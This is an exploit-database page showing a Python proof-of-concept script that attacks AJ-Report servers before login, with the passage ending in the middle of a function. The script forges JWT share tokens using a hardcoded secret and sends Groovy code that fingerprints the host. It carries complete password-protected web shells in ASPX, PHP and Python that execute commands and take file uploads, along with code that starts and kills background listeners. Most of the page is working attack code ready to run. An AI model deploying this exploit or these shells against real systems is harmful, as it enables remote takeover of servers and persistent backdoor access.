Exploit database

GH-c960c922a89d7e11dc1b414914feea71

nxploited/cve-2026-120209

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-120209

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
nxploited/cve-2026-120209Revision 0e7f46c859d5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-120209.py

Python · 67,098 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# By: Nxploited ( Khaled Alenazi )

import http.client, ssl, sys, os, re, time, json, threading, random, string
import ctypes, shutil, uuid, base64
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, quote

CVE = "CVE-2026-120209"
APP = "AJ-Report"
BRAND = "NXPLOITED"
AUTHOR = "Khaled Alenazi"
TELEGRAM = "@Kxploit"

JWT_SECRET = "aj-report"
JWT_REPORT_CODE = "dataSet"
DEFAULT_PORT = 9095
SHELL_SIG = "Nx-zD"
SHELL_PASS = "Nxploited_zD"
RDP_PASS = "Nx_admin@!KSA&&^%1234WEqwew"
RDP_PREFIX = "Nxploited_123"
VERIFY_TIMEOUT = 12

P1 = (0, 180, 255)
P2 = (140, 70, 255)
P3 = (255, 40, 160)
GRN = (0, 255, 110)
AMB = (255, 190, 0)
RED = (255, 55, 55)
WHT = (230, 235, 245)
DIM = (70, 75, 95)
ICE = (180, 220, 255)
PUR = (180, 120, 255)

USE_COLOR = True
lock = threading.Lock()

_GH = (
    'import com.alibaba.fastjson.JSONObject\n'
    'import com.anjiplus.template.gaea.business.modules.datasettransform.service.IGroovyHandler\n'
)
_GT = (
    '  List<JSONObject> transform(List<JSONObject> data) {\n'
    '    def r = new JSONObject()\n'
    '    r.put("nx", nx_out)\n'
    '    return [r]\n  }\n}\n'
)


def enable_ansi():
    if os.name != "nt": return
    try:
        k = ctypes.windll.kernel32; h = k.GetStdHandle(-11); m = ctypes.c_uint()
        if k.GetConsoleMode(h, ctypes.byref(m)): k.SetConsoleMode(h, m.value | 0x0004)
    except Exception: pass


def _c(t, color, bold=False):
    if not USE_COLOR: return t
    r, g, b = color
    return f"\033[{'1;' if bold else ''}38;2;{r};{g};{b}m{t}\033[0m"

def _blend(a, b, t): return tuple(round(a[i]+(b[i]-a[i])*t) for i in range(3))
def _grad(t): return _blend(P1, P2, t*2) if t <= 0.5 else _blend(P2, P3, (t-0.5)*2)
def _gradient_text(text):
    d = max(1, len(text)-1)
    return "".join(_c(ch, _grad(i/d), True) if ch != " " else ch for i, ch in enumerate(text))

N_ART = ["##.....##","###....##","####...##","##.##..##","##..##.##","##...####","##....###","##.....##"]
X_ART = ["##.....##",".##...##.","..##.##..","...###...","...###...","..##.##..",".##...##.","##.....##"]

def _build_logo(sc=3):
    out = []
    for y in range(len(N_ART)):
        ln = []
        for x, px in enumerate(N_ART[y]):
            ln.append(_c("\u2588"*sc, _grad(x/17), True) if px == "#" else " "*sc)
        ln.append(" "*(sc*2))
        for x, px in enumerate(X_ART[y]):
            ln.append(_c("\u2588"*sc, _grad((9+x)/17), True) if px == "#" else " "*sc)
        out.append("".join(ln))
    return out

def show_banner():
    tw = shutil.get_terminal_size((120,30)).columns
    sc = 3 if tw >= 110 else 2 if tw >= 75 else 1
    logo = _build_logo(sc)
    r_items = [(_gradient_text("N X P L O I T E D"),19),("",0),
               (_c(CVE,AMB,True),len(CVE)),(_c(APP+" Pre-Auth RCE  |  JWT + Groovy + Shell + RDP",WHT,True),50)]
    gap = 6 if sc >= 2 else 3; logo_w = 20*sc
    total_w = logo_w + gap + max(w for _,w in r_items)
    print()
    if tw >= total_w+4:
        pad = max(0,(tw-total_w)//2); off = (len(logo)-len(r_items))//2
        for i, row in enumerate(logo):
            pos = i-off; rt = r_items[pos][0] if 0 <= pos < len(r_items) else ""
            print(" "*pad + row + " "*gap + rt)
    else:
        for row in logo: print(row)
        for r,_ in r_items:
            if r: print("  "+r)
    print(); print((" "*max(0,(tw-len(AUTHOR)-8-len(TELEGRAM))//2))+_c(AUTHOR,ICE,True)+"    "+_c("TG:",DIM)+" "+_c(TELEGRAM,PUR,True)); print()

def p(m):
    with lock: sys.stdout.write(f"\033[2K\r{m}\n"); sys.stdout.flush()
def ok(m):   p(f"  {_c(chr(0x2714),GRN,True)} {m}")
def info(m): p(f"  {_c(chr(0x25b8),P1,True)} {m}")
def warn(m): p(f"  {_c(chr(0x26a0),AMB,True)} {m}")
def err(m):  p(f"  {_c(chr(0x2718),RED,True)} {m}")

def bar(done, total, extra=""):
    pct = int(done*100/total) if total else 0
    fl = int(40*done/total) if total else 0
    b = _c("\u2588"*fl,P1,True)+_c("\u2591"*(40-fl),DIM)
    with lock: sys.stdout.write(f"\033[2K\r  {b} {done}/{total} ({pct}%) {extra}"); sys.stdout.flush()


def forge_share_token(report_code=JWT_REPORT_CODE, hours=24):
    import jwt as pyjwt
    now = int(time.time())
    return pyjwt.encode({"reportCode": report_code, "shareCode": "nx_"+uuid.uuid4().hex[:8],
        "sharePassword": None, "iat": now, "exp": now+hours*3600}, JWT_SECRET, algorithm="HS256")

def _parse_url(url):
    url = url.strip()
    if not url.startswith("http"): url = "http://"+url
    pr = urlparse(url)
    host = pr.hostname or ""
    port = pr.port or (443 if pr.scheme == "https" else DEFAULT_PORT)
    return host, port, pr.scheme == "https", pr.path.rstrip("/") if pr.path and pr.path != "/" else ""

def _request(host, port, use_ssl, method, path, headers=None, body=None, timeout=10):
    try:
        ctx = ssl._create_unverified_context() if use_ssl else None
        c = (http.client.HTTPSConnection(host,port,timeout=timeout,context=ctx) if use_ssl
             else http.client.HTTPConnection(host,port,timeout=timeout))
        c.request(method, path or "/", body=body, headers=headers or {})
        r = c.getresponse(); data = r.read(); c.close()
        return r.status, dict(r.getheaders()), data
    except Exception:
        return None, None, None


def check_aj(host, port, use_ssl, prefix=""):
    st,_,body = _request(host,port,use_ssl,"POST",prefix+"/dataSet/testTransform",
                         headers={"Content-Type":"application/json"},body="{}",timeout=8)
    if body:
        text = body.decode("utf-8",errors="ignore")
        if "credentials" in text or "expired" in text: return True
    st2,_,b2 = _request(host,port,use_ssl,"GET",prefix+"/index.html",timeout=8)
    if b2:
        t2 = b2.decode("utf-8",errors="ignore").lower()
        if any(k in t2 for k in ["aj-report","anji-plus","gaea"]): return True
    return st is not None and st in (200,302)


def _build_dyn(port=9095):
    return json.dumps({"apiUrl":f"http://127.0.0.1:{port}/gaeaDict/all","method":"GET",
                        "header":json.dumps({"Content-Type":"application/json"}),"body":""})

def _build_body(groovy, port=9095):
    return json.dumps({"setCode":"nx_"+uuid.uuid4().hex[:6],"setName":"nx","setType":"http",
        "sourceCode":"","dynSentence":_build_dyn(port),
        "dataSetTransformDtoList":[{"transformType":"javaBean","transformScript":groovy}],
        "caseResult":"","dataSetParamDtoList":[]})

def send_exploit(host, port, use_ssl, prefix, groovy, timeout=15):
    return _request(host,port,use_ssl,"POST",prefix+"/dataSet/testTransform",
        headers={"Content-Type":"application/json","Share-Token":forge_share_token()},
        body=_build_body(groovy,port),timeout=timeout)

def _extract_nx(resp):
    if not resp: return None
    try: j = json.loads(resp.decode("utf-8",errors="ignore"))
    except: return None
    def _dig(o):
        if isinstance(o,dict):
            if "nx" in o: return o["nx"]
            for v in o.values():
                r = _dig(v)
                if r is not None: return r
        elif isinstance(o,list):
            for i in o:
                r = _dig(i)
                if r is not None: return r
        return None
    return _dig(j)


def _aspx_shell_code():
    return (
        '<%@ Page Language="C#" validateRequest="false" %>\n'
        '<%@ Import Namespace="System.Diagnostics" %>\n'
        '<%@ Import Namespace="System.IO" %>\n'
        '<%@ Import Namespace="System.Security.Cryptography" %>\n'
        '<%\n'
        'string P="'+SHELL_PASS+'",S="'+SHELL_SIG+'";\n'
        'string H=BitConverter.ToString(MD5.Create().ComputeHash(System.Text.Encoding.UTF8.GetBytes(P+"_nx"))).Replace("-","").ToLower();\n'
        'if(Request.Form["p"]=="_nx_verify_"){Response.Write(S);Response.End();}\n'
        'bool ok=false;\n'
        'if(Request.Form["p"]==P||Request.QueryString["p"]==P){ok=true;var ck=new HttpCookie("nx",H);ck.Expires=DateTime.Now.AddDays(1);Response.Cookies.Add(ck);}\n'
        'if(Request.Cookies["nx"]!=null&&Request.Cookies["nx"].Value==H)ok=true;\n'
        'if(!ok){Response.Write("<!DOCTYPE html><html><head><meta charset=\\"utf-8\\"><title>NX</title>"\n'
        '+"<style>body{background:#0a0e17;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;font-family:monospace}"\n'
        '+".b{background:#111827;padding:40px;border-radius:12px;border:1px solid #1e3a5f;text-align:center}"\n'
        '+"h2{color:#00b4ff;margin:0 0 20px}input[type=password]{background:#0d1117;border:1px solid #2d4a6f;color:#e0e8f0;padding:10px 15px;border-radius:6px;width:200px;font-size:14px}"\n'
        '+"input[type=submit]{background:linear-gradient(135deg,#00b4ff,#8c46ff);color:#fff;border:none;padding:10px 30px;border-radius:6px;cursor:pointer;font-weight:bold;margin-top:10px}"\n'
        '+"</style></head><body><div class=\\"b\\"><h2>&#x4E;&#x58;</h2><form method=\\"POST\\"><input type=\\"password\\" name=\\"p\\" placeholder=\\"Password\\" autofocus><br>"\n'
        '+"<input type=\\"submit\\" value=\\"LOGIN\\"></form></div></body></html>");Response.End();}\n'
        'Func<string,string> Exec=c=>{\n'
        'try{var p=new Process();p.StartInfo.FileName="cmd.exe";p.StartInfo.Arguments="/c "+c;\n'
        'p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.StartInfo.CreateNoWindow=true;\n'
        'p.Start();string o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();p.WaitForExit();return o;}catch(Exception e){return e.Message;}};\n'
        'if(Request.Form["c"]!=null&&Request.Form["_h"]==null){Response.Write("<pre>"+Server.HtmlEncode(Exec(Request.Form["c"]))+"</pre>"+S);Response.End();}\n'
        'if(Request.Files.Count>0&&Request.Files[0].ContentLength>0){\n'
        'string d=Request.Form["d"]??Server.MapPath(".");Directory.CreateDirectory(d);\n'
        'Request.Files[0].SaveAs(Path.Combine(d,Path.GetFileName(Request.Files[0].FileName)));Response.Write(S+"::UPLOADED");Response.End();}\n'
        'string cwd=Request.Form["cwd"]??Environment.CurrentDirectory;string co="";\n'
        'if(Request.Form["cmd"]!=null&&Request.Form["cmd"]!="")co=Exec("cd /d \\""+cwd+"\\" && "+Request.Form["cmd"]);\n'
        'string um="";if(Request.Files.Count>0&&Request.Files["uf"]!=null&&Request.Files["uf"].ContentLength>0){\n'
        'string ud=Request.Form["ud"]??cwd;Directory.CreateDirectory(ud);\n'
        'Request.Files["uf"].SaveAs(Path.Combine(ud,Path.GetFileName(Request.Files["uf"].FileName)));um="OK: "+Request.Files["uf"].FileName;}\n'
        'string inf=Environment.OSVersion+" | "+Environment.UserName+" | .NET "+Environment.Version;\n'
        'Response.Write("<!DOCTYPE html><html><head><meta charset=\\"utf-8\\"><title>NX Shell</title>"\n'
        '+"<style>*{box-sizing:border-box;margin:0;padding:0}body{background:#0a0e17;color:#c8d6e5;font:13px/1.5 monospace;padding:15px}"\n'
        '+".hd{background:linear-gradient(135deg,#00b4ff22,#8c46ff22);border:1px solid #1e3a5f;border-radius:8px;padding:12px 20px;margin-bottom:12px;display:flex;justify-content:space-between;align-items:center}"\n'
        '+".hd h1{font-size:16px;background:linear-gradient(135deg,#00b4ff,#8c46ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent}.hd .i{color:#5a6c7f;font-size:11px}"\n'
        '+".pn{background:#111827;border:1px solid #1e293b;border-radius:8px;padding:15px;margin-bottom:12px}"\n'
        '+".pn h3{color:#00b4ff;font-size:13px;margin-bottom:10px;border-bottom:1px solid #1e293b;padding-bottom:6px}"\n'
        '+"input[type=text],textarea{background:#0d1117;border:1px solid #2d4a6f;color:#e0e8f0;padding:8px 12px;border-radius:5px;width:100%;font:12px monospace}"\n'
        '+"input[type=submit]{background:linear-gradient(135deg,#00b4ff,#8c46ff);color:#fff;border:none;padding:8px 20px;border-radius:5px;cursor:pointer;font-weight:bold}"\n'
        '+".out{background:#0d1117;border:1px solid #1e293b;border-radius:5px;padding:12px;margin-top:8px;max-height:400px;overflow:auto;white-space:pre-wrap;font-size:12px;color:#a8d8a8}"\n'
        '+".rw{display:flex;gap:10px;align-items:center}.mg{color:#00ff6e;padding:5px 0;font-size:12px}"\n'
        '+".g{display:grid;grid-template-columns:1fr 1fr;gap:12px}@media(max-width:800px){.g{grid-template-columns:1fr}}"\n'
        '+"</style></head><body>"\n'
        '+"<div class=\\"hd\\"><h1>NX SHELL</h1><div class=\\"i\\">"+Server.HtmlEncode(inf)+"</div></div>"\n'
        '+"<div class=\\"g\\"><div class=\\"pn\\"><h3>Command Execution</h3><form method=\\"POST\\">"\n'
        '+"<div class=\\"rw\\" style=\\"margin-bottom:8px\\"><label style=\\"color:#5a6c7f;white-space:nowrap\\">CWD:</label><input type=\\"text\\" name=\\"cwd\\" value=\\""+Server.HtmlEncode(cwd)+"\\"></div>"\n'
        '+"<div class=\\"rw\\"><input type=\\"text\\" name=\\"cmd\\" placeholder=\\"Enter command...\\" autofocus><input type=\\"submit\\" value=\\"Run\\"></div></form>"\n'
        '+(co!=""?"<div class=\\"out\\">"+Server.HtmlEncode(co)+"</div>":"")+"</div>"\n'
        '+"<div class=\\"pn\\"><h3>File Upload</h3><form method=\\"POST\\" enctype=\\"multipart/form-data\\">"\n'
        '+"<div class=\\"rw\\" style=\\"margin-bottom:8px\\"><label style=\\"color:#5a6c7f;white-space:nowrap\\">Dir:</label><input type=\\"text\\" name=\\"ud\\" value=\\""+Server.HtmlEncode(cwd)+"\\"></div>"\n'
        '+"<div class=\\"rw\\"><input type=\\"file\\" name=\\"uf\\"><input type=\\"submit\\" value=\\"Upload\\"></div></form>"\n'
        '+(um!=""?"<div class=\\"mg\\">"+Server.HtmlEncode(um)+"</div>":"")+"</div></div></body></html>");\n'
        '%>'
    )


def _php_shell_code():
    return (
        '<?php\n'
        '$P="'+SHELL_PASS+'";$S="'+SHELL_SIG+'";$H=md5($P."_nx");\n'
        'function nx_exec($c){$o="";\n'
        'if(function_exists("proc_open")){$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));\n'
        '$p=proc_open($c,$d,$pp);if(is_resource($p)){fclose($pp[0]);$o=stream_get_contents($pp[1]).stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}}\n'
        'elseif(function_exists("popen")){$h=popen($c." 2>&1","r");if($h){$o=stream_get_contents($h);pclose($h);}}\n'
        'elseif(function_exists("exec")){exec($c." 2>&1",$a);$o=implode("\\n",$a);}\n'
        'elseif(function_exists("system")){ob_start();system($c." 2>&1");$o=ob_get_clean();}\n'
        'elseif(function_exists("passthru")){ob_start();passthru($c." 2>&1");$o=ob_get_clean();}\n'
        'elseif(function_exists("shell_exec")){$o=shell_exec($c." 2>&1");}\n'
        'return $o;}\n'
        'if(isset($_POST["p"])&&$_POST["p"]=="_nx_verify_"){echo $S;exit;}\n'
        '$ok=false;\n'
        'if((isset($_POST["p"])&&$_POST["p"]===$P)||(isset($_GET["p"])&&$_GET["p"]===$P)){$ok=true;setcookie("nx",$H,time()+86400,"/");}\n'
        'if(isset($_COOKIE["nx"])&&$_COOKIE["nx"]===$H)$ok=true;\n'
        'if(!$ok){echo \'<!DOCTYPE html><html><head><meta charset="utf-8"><title>NX</title>\n'
        '<style>body{background:#0a0e17;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;font-family:monospace}\n'
        '.b{background:#111827;padding:40px;border-radius:12px;border:1px solid #1e3a5f;text-align:center}\n'
        'h2{color:#00b4ff;margin:0 0 20px}input[type=password]{background:#0d1117;border:1px solid #2d4a6f;color:#e0e8f0;padding:10px 15px;border-radius:6px;width:200px;font-size:14px}\n'
        'input[type=submit]{background:linear-gradient(135deg,#00b4ff,#8c46ff);color:#fff;border:none;padding:10px 30px;border-radius:6px;cursor:pointer;font-weight:bold;margin-top:10px}\n'
        '</style></head><body><div class="b"><h2>&#x4E;&#x58;</h2><form method="POST"><input type="password" name="p" placeholder="Password" autofocus><br>\n'
        '<input type="submit" value="LOGIN"></form></div></body></html>\';exit;}\n'
        'if(isset($_POST["c"])&&!isset($_POST["_h"])){echo "<pre>".htmlspecialchars(nx_exec($_POST["c"]))."</pre>".$S;exit;}\n'
        'if(isset($_FILES["f"])){$d=isset($_POST["d"])?$_POST["d"]:dirname(__FILE__);@mkdir($d,0777,true);\n'
        '$r=@move_uploaded_file($_FILES["f"]["tmp_name"],$d."/".$_FILES["f"]["name"]);echo $S."::".($r?"UPLOADED":"FAIL");exit;}\n'
        '$cwd=isset($_POST["cwd"])?$_POST["cwd"]:getcwd();$co="";\n'
        'if(isset($_POST["cmd"])&&$_POST["cmd"])$co=nx_exec("cd ".escapeshellarg($cwd)." && ".$_POST["cmd"]." 2>&1");\n'
        '$um="";if(isset($_FILES["uf"])&&$_FILES["uf"]["error"]==0){$ud=isset($_POST["ud"])?$_POST["ud"]:$cwd;@mkdir($ud,0777,true);\n'
        'if(@move_uploaded_file($_FILES["uf"]["tmp_name"],$ud."/".$_FILES["uf"]["name"]))$um="OK: ".$_FILES["uf"]["name"];else $um="FAIL";}\n'
        '$inf=php_uname()." | ".get_current_user()." | PHP ".phpversion();\n'
        'echo \'<!DOCTYPE html><html><head><meta charset="utf-8"><title>NX Shell</title>\n'
        '<style>*{box-sizing:border-box;margin:0;padding:0}body{background:#0a0e17;color:#c8d6e5;font:13px/1.5 monospace;padding:15px}\n'
        '.hd{background:linear-gradient(135deg,#00b4ff22,#8c46ff22);border:1px solid #1e3a5f;border-radius:8px;padding:12px 20px;margin-bottom:12px;display:flex;justify-content:space-between;align-items:center}\n'
        '.hd h1{font-size:16px;background:linear-gradient(135deg,#00b4ff,#8c46ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent}.hd .i{color:#5a6c7f;font-size:11px}\n'
        '.pn{background:#111827;border:1px solid #1e293b;border-radius:8px;padding:15px;margin-bottom:12px}\n'
        '.pn h3{color:#00b4ff;font-size:13px;margin-bottom:10px;border-bottom:1px solid #1e293b;padding-bottom:6px}\n'
        'input[type=text],textarea{background:#0d1117;border:1px solid #2d4a6f;color:#e0e8f0;padding:8px 12px;border-radius:5px;width:100%;font:12px monospace}\n'
        'input[type=submit]{background:linear-gradient(135deg,#00b4ff,#8c46ff);color:#fff;border:none;padding:8px 20px;border-radius:5px;cursor:pointer;font-weight:bold}\n'
        '.out{background:#0d1117;border:1px solid #1e293b;border-radius:5px;padding:12px;margin-top:8px;max-height:400px;overflow:auto;white-space:pre-wrap;font-size:12px;color:#a8d8a8}\n'
        '.rw{display:flex;gap:10px;align-items:center}.mg{color:#00ff6e;padding:5px 0;font-size:12px}\n'
        '.g{display:grid;grid-template-columns:1fr 1fr;gap:12px}@media(max-width:800px){.g{grid-template-columns:1fr}}\n'
        '</style></head><body>\';echo \'<div class="hd"><h1>NX SHELL</h1><div class="i">\'.htmlspecialchars($inf).\'</div></div>\';\n'
        'echo \'<div class="g"><div class="pn"><h3>Command Execution</h3><form method="POST">\n'
        '<div class="rw" style="margin-bottom:8px"><label style="color:#5a6c7f;white-space:nowrap">CWD:</label><input type="text" name="cwd" value="\'.htmlspecialchars($cwd).\'"></div>\n'
        '<div class="rw"><input type="text" name="cmd" placeholder="Enter command..." autofocus><input type="submit" value="Run"></div></form>\';\n'
        'if($co)echo \'<div class="out">\'.htmlspecialchars($co).\'</div>\';\n'
        'echo \'</div><div class="pn"><h3>File Upload</h3><form method="POST" enctype="multipart/form-data">\n'
        '<div class="rw" style="margin-bottom:8px"><label style="color:#5a6c7f;white-space:nowrap">Dir:</label><input type="text" name="ud" value="\'.htmlspecialchars($cwd).\'"></div>\n'
        '<div class="rw"><input type="file" name="uf"><input type="submit" value="Upload"></div></form>\';\n'
        'if($um)echo \'<div class="mg">\'.htmlspecialchars($um).\'</div>\';\n'
        'echo \'</div></div></body></html>\';\n'
        '?>'
    )


def _python_server_code():
    login_html = (
        '<!DOCTYPE html><html><head><meta charset="utf-8"><title>NX</title>'
        '<style>body{background:#0a0e17;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;font-family:monospace}'
        '.b{background:#111827;padding:40px;border-radius:12px;border:1px solid #1e3a5f;text-align:center}'
        'h2{color:#00b4ff;margin:0 0 20px}input[type=password]{background:#0d1117;border:1px solid #2d4a6f;color:#e0e8f0;padding:10px 15px;border-radius:6px;width:200px;font-size:14px}'
        'input[type=submit]{background:linear-gradient(135deg,#00b4ff,#8c46ff);color:#fff;border:none;padding:10px 30px;border-radius:6px;cursor:pointer;font-weight:bold;margin-top:10px}'
        '</style></head><body><div class="b"><h2>&#x4E;&#x58;</h2><form method="POST"><input type="password" name="p" placeholder="Password" autofocus><br>'
        '<input type="submit" value="LOGIN"></form></div></body></html>'
    )
    shell_html_top = (
        '<!DOCTYPE html><html><head><meta charset="utf-8"><title>NX Shell</title>'
        '<style>*{box-sizing:border-box;margin:0;padding:0}body{background:#0a0e17;color:#c8d6e5;font:13px/1.5 monospace;padding:15px}'
        '.hd{background:linear-gradient(135deg,#00b4ff22,#8c46ff22);border:1px solid #1e3a5f;border-radius:8px;padding:12px 20px;margin-bottom:12px;display:flex;justify-content:space-between;align-items:center}'
        '.hd h1{font-size:16px;background:linear-gradient(135deg,#00b4ff,#8c46ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent}.hd .i{color:#5a6c7f;font-size:11px}'
        '.pn{background:#111827;border:1px solid #1e293b;border-radius:8px;padding:15px;margin-bottom:12px}'
        '.pn h3{color:#00b4ff;font-size:13px;margin-bottom:10px;border-bottom:1px solid #1e293b;padding-bottom:6px}'
        'input[type=text]{background:#0d1117;border:1px solid #2d4a6f;color:#e0e8f0;padding:8px 12px;border-radius:5px;width:100%;font:12px monospace}'
        'input[type=submit]{background:linear-gradient(135deg,#00b4ff,#8c46ff);color:#fff;border:none;padding:8px 20px;border-radius:5px;cursor:pointer;font-weight:bold}'
        '.out{background:#0d1117;border:1px solid #1e293b;border-radius:5px;padding:12px;margin-top:8px;max-height:400px;overflow:auto;white-space:pre-wrap;font-size:12px;color:#a8d8a8}'
        '.rw{display:flex;gap:10px;align-items:center}'
        '</style></head><body>'
        '<div class="hd"><h1>NX SHELL</h1><div class="i">Python Server</div></div>'
        '<div class="pn"><h3>Command Execution</h3><form method="POST">'
        '<input type="hidden" name="p" value="__AUTH__">'
        '<div class="rw"><input type="text" name="c" placeholder="Enter command..." autofocus><input type="submit" value="Run"></div></form>'
    )
    return (
        '#!/usr/bin/env python3\n'
        'import http.server,subprocess,os,sys,hashlib\n'
        'try:\n'
        '    from urllib.parse import unquote_plus\n'
        'except ImportError:\n'
        '    from urllib import unquote_plus\n'
        'try:\n'
        '    from http.cookies import SimpleCookie\n'
        'except ImportError:\n'
        '    from Cookie import SimpleCookie\n'
        'P="'+SHELL_PASS+'"\n'
        'S="'+SHELL_SIG+'"\n'
        'H=hashlib.md5((P+"_nx").encode()).hexdigest()\n'
        'LOGIN=\''+login_html.replace("'","\\'")+'\'  \n'
        'SHTOP=\''+shell_html_top.replace("'","\\'").replace("__AUTH__",SHELL_PASS)+'\'  \n'
        'class R(http.server.BaseHTTPRequestHandler):\n'
        '    def _auth(self,pm):\n'
        '        if pm.get("p")==P:return True\n'
        '        ck=self.headers.get("Cookie","")\n'
        '        for part in ck.split(";"):\n'
        '            part=part.strip()\n'
        '            if part.startswith("nx=") and part[3:]==H:return True\n'
        '        return False\n'
        '    def do_POST(self):\n'
        '        cl=int(self.headers.get("Content-Length",0))\n'
        '        raw=self.rfile.read(cl).decode("utf-8","ignore")\n'
        '        pm={}\n'
        '        for kv in raw.split("&"):\n'
        '            if "=" in kv:\n'
        '                k,v=kv.split("=",1);pm[unquote_plus(k)]=unquote_plus(v)\n'
        '        if pm.get("p")=="_nx_verify_":\n'
        '            self.send_response(200);self.end_headers();self.wfile.write(S.encode());return\n'
        '        if not self._auth(pm):\n'
        '            self.send_response(200);self.end_headers();self.wfile.write(LOGIN.encode());return\n'
        '        if "c" in pm and pm["c"]:\n'
        '            try:\n'
        '                r=subprocess.Popen(pm["c"],shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\n'
        '                so,se=r.communicate(timeout=30)\n'
        '                o=so.decode("utf-8","ignore")+se.decode("utf-8","ignore")\n'
        '            except Exception as e:o=str(e)\n'
        '            if "p" in pm and pm["p"]==P and "_h" not in pm:\n'
        '                self.send_response(200);self.end_headers();self.wfile.write(("<pre>"+o+"</pre>"+S).encode());return\n'
        '            out=SHTOP+\'<div class="out">\'+o.replace("<","&lt;")+\'</div>\'\n'
        '        else:\n'
        '            o="";out=SHTOP\n'
        '        out+=\'</div></body></html>\'\n'
        '        self.send_response(200)\n'
        '        self.send_header("Set-Cookie","nx="+H+"; Path=/; Max-Age=86400")\n'
        '        self.end_headers();self.wfile.write(out.encode())\n'
        '    def do_GET(self):\n'
        '        ck=self.headers.get("Cookie","")\n'
        '        auth=False\n'
        '        for part in ck.split(";"):\n'
        '            if part.strip().startswith("nx=") and part.strip()[3:]==H:auth=True\n'
        '        self.send_response(200);self.end_headers()\n'
        '        if auth:\n'
        '            self.wfile.write((SHTOP+\'</div></body></html>\').encode())\n'
        '        else:\n'
        '            self.wfile.write(LOGIN.encode())\n'
        '    def log_message(self,*a):pass\n'
        'pt=int(sys.argv[1]) if len(sys.argv)>1 else 8899\n'
        'print("NX_SERV:"+str(pt),flush=True)\n'
        'http.server.HTTPServer(("0.0.0.0",pt),R).serve_forever()\n'
    )


def _groovy_recon():
    return (
        _GH +
        'class T implements IGroovyHandler {\n'
        '  static def nx_out = ""\n'
        '  static {\n'
        '    def os_name = System.getProperty("os.name")\n'
        '    def user = System.getProperty("user.name")\n'
        '    def home = System.getProperty("user.home")\n'
        '    def wdir = System.getProperty("user.dir")\n'
        '    def arch = System.getProperty("os.arch")\n'
        '    def isWin = os_name.toLowerCase().contains("win")\n'
        '    def php = "none"\n'
        '    def python = "none"\n'
        '    def paths = System.getenv("PATH")\n'
        '    if (paths) {\n'
        '      for (d in paths.split(File.pathSeparator)) {\n'
        '        if (php == "none") {\n'
        '          def f = new File(d, isWin ? "php.exe" : "php")\n'
        '          if (f.exists() && f.canExecute()) php = f.absolutePath\n'
        '        }\n'
        '        if (python == "none") {\n'
        '          for (cmd in isWin ? ["python.exe","python3.exe"] : ["python3","python"]) {\n'
        '            def f = new File(d, cmd)\n'
        '            if (f.exists() && f.canExecute()) { python = f.absolutePath; break }\n'
        '          }\n'
        '        }\n'
        '      }\n'
        '    }\n'
        '    def isRoot = "no"\n'
        '    try {\n'
        '      if (isWin) { isRoot = "win" }\n'
        '      else {\n'
        '        def p = Runtime.getRuntime().exec(["id","-u"] as String[])\n'
        '        p.waitFor(); def uid = p.inputStream.text.trim()\n'
        '        isRoot = uid == "0" ? "yes" : "no"\n'
        '      }\n'
        '    } catch(Exception e) {}\n'
        '    def hostname = ""\n'
        '    try { hostname = java.net.InetAddress.getLocalHost().getHostName() } catch(Exception e) { hostname = "?" }\n'
        '    nx_out = [os_name, user, home, wdir, arch, php, python, isRoot, hostname].join("|")\n'
        '  }\n' + _GT
    )


def _groovy_deploy(php_fname, has_php, php_path, has_python, python_path, is_win):
    php_b64 = base64.b64encode(_php_shell_code().encode()).decode()
    py_b64 = base64.b64encode(_python_server_code().encode()).decode()
    aspx_b64 = base64.b64encode(_aspx_shell_code().encode()).decode()

    aspx_fname = php_fname.replace(".php", ".aspx")

    if is_win:
        tmp = 'def tmpDir = "C:\\\\temp\\\\.nx"\n'
        web_dirs = '["C:\\\\inetpub\\\\wwwroot","C:\\\\xampp\\\\htdocs","C:\\\\wamp64\\\\www","C:\\\\nginx\\\\html"]'
        static_sep = '"\\\\"'
    else:
        tmp = 'def tmpDir = "/tmp/.nx"\n'
        web_dirs = '["/var/www/html","/usr/share/nginx/html","/www/server/nginx/html","/www/wwwroot","/home/wwwroot","/data/wwwroot","/opt/lampp/htdocs"]'
        static_sep = '"/"'

    start_php_cmd = (
        '      if (isWin) {\n'
        '        Runtime.getRuntime().exec(["cmd.exe","/c","start /b \\""+phpPath+"\\" -S 0.0.0.0:"+srvPort+" -t "+tmpDir] as String[])\n'
        '      } else {\n'
        '        Runtime.getRuntime().exec(["bash","-c","cd "+tmpDir+" && nohup "+phpPath+" -S 0.0.0.0:"+srvPort+" </dev/null >/dev/null 2>&1 &"] as String[])\n'
        '      }\n'
    )
    start_py_cmd = (
        '      if (isWin) {\n'
        '        Runtime.getRuntime().exec(["cmd.exe","/c","start /b \\""+pyPath+"\\" "+tmpDir+(isWin?"\\\\\\\\":"/")+("nx_srv.py")+" "+srvPort] as String[])\n'
        '      } else {\n'
        '        Runtime.getRuntime().exec(["bash","-c","cd "+tmpDir+" && nohup "+pyPath+" nx_srv.py "+srvPort+" </dev/null >/dev/null 2>&1 &"] as String[])\n'
        '      }\n'
    )

    esc_php_path = php_path.replace("\\","\\\\").replace('"','\\"') if php_path and php_path != "none" else ""
    esc_py_path = python_path.replace("\\","\\\\").replace('"','\\"') if python_path and python_path != "none" else ""

    kill_old = (
        '    if (!isWin) {\n'
        '      try {\n'
        '        def kp = Runtime.getRuntime().exec(["bash","-c","pkill -f nx_srv.py 2>/dev/null; pkill -f \\"php.*-S.*0.0.0.0\\" 2>/dev/null; sleep 1"] as String[])\n'
        '        kp.waitFor()\n'
        '      } catch(Exception e) {}\n'
        '    }\n'
    )

    return (
        _GH +
        'import java.util.Base64\n'
        'class T implements IGroovyHandler {\n'
        '  static def nx_out = ""\n'
        '  static {\n'
